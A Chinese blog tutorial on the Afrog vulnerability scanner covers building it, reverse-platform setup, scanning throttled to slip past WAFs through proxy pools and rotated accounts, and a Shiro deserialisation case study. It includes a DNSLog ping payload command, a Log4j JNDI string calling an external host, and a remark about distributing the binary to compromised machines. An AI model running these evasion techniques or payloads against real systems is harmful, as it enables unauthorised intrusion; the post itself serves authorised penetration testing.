Afrog漏洞扫描器:从入门到入狱......边缘的摇摆记录(pps-key黑化版)

作者备注:pps-key "活着才有输出"的血泪史。代码里的"怂了"和"莽了"都是真实心理活动,不是剧本。


一、Afrog是什么?一个让我又爱又恨的Go语言畜生

官方定义:高性能漏洞扫描器,支持3900+ PoC,适合红队/赏金猎人。

pps-key真实感受 :这玩意儿扫描速度像火箭,误报率像天使,但配置不好就是IP自爆卡车

教训:某次用默认参数扫公益SRC,5分钟触发WAF,IP被封到2035年。


2. 安装:别用go install,要手动编译(可控)

bash 复制代码
# 错误示范(版本不可控)
go install -v github.com/zan8in/afrog/v3/cmd/afrog@latest

# pps-key的正确姿势(指定版本,出了问题知道回滚到哪)
git clone --depth 1 https://github.com/zan8in/afrog.git
cd afrog

# 关键:修改默认配置,降低扫描强度(保命)
# TODO: 写个脚本自动给所有PoC加sleep
# FIXME: 下面的sed命令在macOS下不兼容,得用gsed

# 修改默认并发(从50降到10,怂了)
sed -i 's/Concurrency: 50/Concurrency: 10/' pkg/config/config.go

# 修改默认rate-limit(从100降到30,又怂了)
sed -i 's/RateLimit: 100/RateLimit: 30/' pkg/config/config.go

# 编译(静态链接,方便分发到肉鸡)
CGO_ENABLED=0 go build -ldflags="-s -w" -o afrog-pps cmd/afrog/main.go

# 验证版本
./afrog-pps --version
# 输出:afrog version 3.0.5 (pps-key怂人定制版)

# 创建软链接
sudo ln -sf $(pwd)/afrog-pps /usr/local/bin/afrog-pps

3. 配置:反向平台是生命线,不是可选项

3.1 配置ceye.io(无回显漏洞的救星)

不配置的后果:扫Log4j、Fastjson这些无回显漏洞,Afrog会漏报90%。

bash 复制代码
# 启动Afrog生成配置目录
afrog-pps --help

# 编辑配置(第一次运行后才会创建)
vim $HOME/.config/afrog/afrog-config.yaml

# 填入ceye(记得去ceye.io注册,免费的)
reverse:
  ceye:
    api-key: "你的key(别tm用我的)"
    domain: "你的子域名.ceye.io"

# pps-key经验:ceye的免费额度每小时100次,扫大目标会爆
# 解决方案:注册3个账号,配置里轮流用(猥琐但有效)
# TODO: 开发一个ceye额度监控插件,自动切换账号

3.2 我的保命配置文件(扫SRC专用)

bash 复制代码
# ~/.config/afrog/afrog-pps-srconly.yaml
# pps-key注:这个配置扫公益SRC,0告警

# 扫描配置
scan:
  # 并发数:3是WAF的感知下限,4就可能被统计
  concurrency: 3
  
  # 速率限制:每秒3个请求,人类正常浏览速度
  rate-limit: 3
  
  # 超时:30秒,慢速网络也等
  timeout: 30
  
  # 重试:1次,失败就放弃(怂到家)
  max-retries: 1

# 报告配置
report:
  # 只报告high和critical,减少噪音
  severity: high,critical
  
  # 输出到pps-key-srv-日期.html,防止覆盖
  output: pps-key-srv-{{date}}.html

# 代理配置(扫敏感目标必用)
proxy:
  # 代理池:3个代理轮流用,IP分散
  # TODO: 代理失效自动切换(目前手动改配置,麻烦)
  url:
    - http://proxy1:7890
    - http://proxy2:7890
    - socks5://proxy3:1080

# pps-key哲学:活着才有输出,慢就是快
# FIXME: 配置不支持热重载,改完必须重启Afrog

使用配置:

bash 复制代码
# 指定配置文件启动
afrog-pps -t http://target.com -c ~/.config/afrog/afrog-pps-srconly.yaml

4. 基础扫描:从"莽夫"到"老六"的进化

4.1 单目标扫描(标准流程)

bash 复制代码
# 错误示范(莽夫行为,默认50并发)
afrog-pps -t http://target.com

# pps-key的正确"老六"流程:
# 步骤1:DNS解析(确认目标存活)
dig target.com +short

# 步骤2:端口探测(nmap先扫,别浪费Afrog时间)
nmap -sS -T4 -p 80,443,8080 target.com

# 步骤3:Afrog"温柔扫描"(检测到WAF自动降速)
afrog-pps -t http://target.com \
  --rate-limit 5 \
  --concurrency 3 \
  --timeout 30 \
  --severity high,critical \
  -o target_pps.html

# 步骤4:监控实时日志(看是否被WAF拦截)
tail -f ~/.config/afrog/afrog.log | grep "blocked\|waf\|403\|429"

# 关键参数说明(每个都是血):
# --rate-limit 5:  每秒5请求,手机4G网速,WAF认为是真人
# --concurrency 3:  并发3,浏览器开3个标签页的水平
# --severity high,critical:  只报高危,减少噪音和扫描时间
# -o target_pps.html:  输出带pps标记,防止和团队其他人混淆

# pps-key教训:扫之前先手动浏览器访问,看响应时间
# 如果打开网页要3秒,Afrog的timeout必须>30秒,否则会漏掉慢速漏洞

4.2 批量扫描(SRC冲排名版)

bash 复制代码
# urls.txt格式(每行一个,带协议)
http://target1.com
https://target2.com:8443/path
http://192.168.1.1:8080

# pps-key的"分散火力"策略:
# 把urls.txt拆成10份,每份50个,开10个tmux窗口同时扫
# 这样即使一个IP被封,另外9个还能跑

# 拆分文件
split -l 50 urls.txt urls_chunk_

# 批量扫描脚本(pps-key亲测,冲公益SRC排名神器)
#!/bin/bash
# pps-key-batch-scan.sh
for chunk in urls_chunk_*; do
  # 每批间隔5分钟启动,模拟人类作息
  sleep 300
  
  # 每个窗口用不同代理(避免IP集中)
  proxy_port=$((7890 + RANDOM % 10))
  
  nohup afrog-pps -T $chunk \
    --rate-limit 3 \
    --concurrency 2 \
    --proxy http://127.0.0.1:$proxy_port \
    -o result_${chunk}.html \
    > ${chunk}.log 2>&1 &
done

# 监控进度
watch 'ls -lt result_*.html | head -20'

# pps-key哲学:批量扫描的核心是"分散"和"休眠"
# 分散:IP分散、时间分散、代理分散
# 休眠:让WAF统计窗口过期(大多数WAF统计1分钟内的请求频次)

5. 高级技巧:从"活着"到"活得好"

5.1 关键字精准打击(赏金猎人模式)

bash 复制代码
# 只扫log4j相关漏洞(专项突破)
afrog-pps -t http://target.com -s log4j -o log4j_only.html

# 扫Spring全家桶漏洞(近几年高危集中地)
afrog-pps -t http://target.com -s spring,shiro,fastjson -o java_kill.html

# pps-key经验:关键字扫描速度提升10倍,误报率下降90%
# 关键在-s参数的选取,这得靠经验积累
# TODO: 开发一个关键词推荐引擎,根据目标技术栈自动推荐
# FIXME: -s不支持正则,得手动写脚本过滤poc目录

# 查看所有可搜关键词(pps-key的骚操作)
ls ~/.afrog/pocs/ | grep -v ".yaml" | sort | uniq -c | sort -nr

# 输出:
# 234 weblogic
# 189 struts
# 165 thinkphp
# ... 这些就是高频关键词

5.2 联动Xray:双引擎交叉验证

bash 复制代码
# pps-key独家配方:Afrog扫完,Xray再扫,结果取交集
# 这样能过滤掉90%的误报

# 步骤1:Afrog扫描(高并发,快速过一遍)
afrog-pps -t http://target.com \
  --concurrency 50 \
  --rate-limit 100 \
  -o afrog_fast.html

# 步骤2:提取Afrog发现的URL(pps-key的提取脚本)
#!/bin/bash
# extract_afrog_urls.sh
grep -oP 'href="\K[^"]+' afrog_fast.html > afrog_urls.txt

# 步骤3:Xray被动扫描(低速、高精度)
xray webscan --url-file afrog_urls.txt \
  --html-output xray_slow.html

# 步骤4:人工看两个报告,取交集
# pps-key哲学:Afrog是"广撒网",Xray是"精养鱼"
# 两者结合,误报率<5%

6. Web持久化:忘记HTML,用SQLite

bash 复制代码
# 启动Web服务,所有结果入库
afrog-pps -web

# 默认监听0.0.0.0:16868,浏览器打开
# 支持:搜索、筛选、分页、导出

# pps-key的骚操作:
# 1. 在VPS上运行,团队共享访问
nohup afrog-pps -web > web.log 2>&1 &

# 2. 用Nginx反向代理,加Basic Auth
# 防止未授权访问(扫到的漏洞被别人看了就社死)

# 3. 定时备份数据库
# Afrog使用SQLite,数据库在~/.config/afrog/afrog.db
0 2 * * * cp ~/.config/afrog/afrog.db /backup/afrog_$(date+\%Y\%m\%d).db

# TODO: 开发Web端的统计看板,显示漏洞趋势、Top10类型
# FIXME: SQLite并发写入会锁表,多节点扫同时写会报错
# 解决方案:每个扫描节点配独立数据库,事后合并

7. 实战案例:从Afrog到GetShell

背景 :某公益SRC,目标http://target.edu.cn,授权测试

bash 复制代码
# 步骤1:信息收集(先别上Afrog,容易被封)
# 用Wappalyzer识别技术栈:SpringBoot + Shiro

# 步骤2:针对性扫描(关键词精确打击)
afrog-pps -t http://target.edu.cn \
  -s shiro,spring,log4j \
  --rate-limit 5 \
  -o target_vulns.html

# 结果:发现Shiro rememberMe反序列化漏洞(高危)

# 步骤3:手动验证(Afrog只能发现,不能利用)
# 用rememberMe检测工具验证
java -jar shiro_tool.jar http://target.edu.cn

# 步骤4:利用漏洞(不出网环境,用DNSLog)
# 生成Payload
python shiro_poc.py -u http://target.edu.cn -c "ping ppskey.ceye.io"

# ceye.io收到DNS请求,确认漏洞存在

# 步骤5:写报告,提交SRC
# pps-key心得:Afrog是"眼睛",手工是"手"
# 眼睛发现目标,手完成最后的攻击
# 只依赖工具=扫描器,人机结合=渗透测试工程师

8. pps-key的禁忌与忏悔(必读)

❌ 永远不要做的事:

  1. 不要用默认并发扫政府网站

    • 后果:IP被封 + 电话喝茶

    • 正确:-concurrency 1 --rate-limit 1(伪装成爬虫)

  2. 不要扫医院/交通/能源等关键基础设施

    • 即使授权,也可能触发应急响应

    • 前辈教训:扫某医院备案系统,触发了护网应急响应,被通报批评

  3. 不要忽略--severity参数

    • 默认扫所有等级,info级别的漏洞报告有几百页

    • 甲方看到info多,会觉得你"刷低危凑数"

    • 正确:只报high和critical,保持报告精简

  4. 不要扫描频率>10 req/s

    • WAF的统计窗口通常是1分钟

    • 600请求/分钟=人类不可能=拉黑

    • pps-key保命线:--rate-limit 5(300请求/分钟=正常爬虫)

✅ pps-key的"三从四德":

bash 复制代码
# 从慢:--rate-limit 3
# 从少:--severity high,critical  
# 从分散:--concurrency 2 + 代理池

# 有德:拿到授权再扫
# 有节:周一到周五9-18点扫(工作时间)
# 有量:控制报告页数<20页
# 有理:每个漏洞都能复现,不猜

9. 报告解读:给甲方讲"人话"

Afrog生成的HTML报告,pps-key的"翻译"模板:

原始报告

复制代码
[High] Apache Log4j2 JNDI RCE
URL: http://target.com/login
Parameter: username

给甲方的描述

复制代码
漏洞名称:Log4j2 远程代码执行(可GetShell)
风险等级:高危
利用难度:低(有公开利用工具)

测试过程:
1. 在登录框用户名处输入Payload:${jndi:ldap://xxx.ceye.io/a}
2. DNSLog平台收到请求,确认存在JNDI注入
3. 可进一步利用执行系统命令,获取服务器权限

修复建议:
1. 升级Log4j2到2.17.1或以上版本
2. 添加JVM参数:-Dlog4j2.formatMsgNoLookups=true
3. 云WAF临时规则拦截:${jndi:

pps-key注:建议立即修复,此漏洞在野外被大规模利用

10. 总结:Afrog是"双截棍",不是"机关枪"

pps-key的Afrog哲学

  1. 快是原罪:默认参数是为作者自己机器设计的,不是给你扫公网的

  2. 配置>PoC:正确的配置比3900个PoC更重要(没配置好,一个都扫不到)

  3. 活着才有DPS:IP被封了,PoC再多都是0输出

终极心法 :把Afrog当成精确制导武器 ,不是地毯式轰炸机。指定目标、降低当量、隐蔽发射,才能活下来。


作者签名:pps-key - 慢即是快"

相关推荐
学Linux的语莫15 小时前
linux的root目录缓存清理
linux·运维·服务器
oMcLin16 小时前
如何在 SUSE Linux Enterprise Server 15 上部署并优化 K3s 集群,提升轻量级容器化应用的资源利用率?
linux·运维·服务器
白帽黑客-晨哥16 小时前
授权单位实战+专属应急队,湖南省网安基地如何用真实项目与应急响应锻造安全精英
web安全·网络安全·渗透测试·kali·湖南省网安基地
L_090716 小时前
【Linux】进程概念
linux
Ghost Face...16 小时前
深入解析YT6801驱动模块架构
linux·运维·服务器
比奇堡派星星16 小时前
Linux 杂项设备驱动框架详解
linux·arm开发·驱动开发
shdwak....sad17 小时前
DeepAudit AI多智能体代码审计项目学习与解读(四)
人工智能·安全
Eternity∞17 小时前
基于Linux系统vim编译器情况下的C语言学习
linux·c语言·开发语言·学习·vim
Wang153017 小时前
Java异常处理
java·计算机网络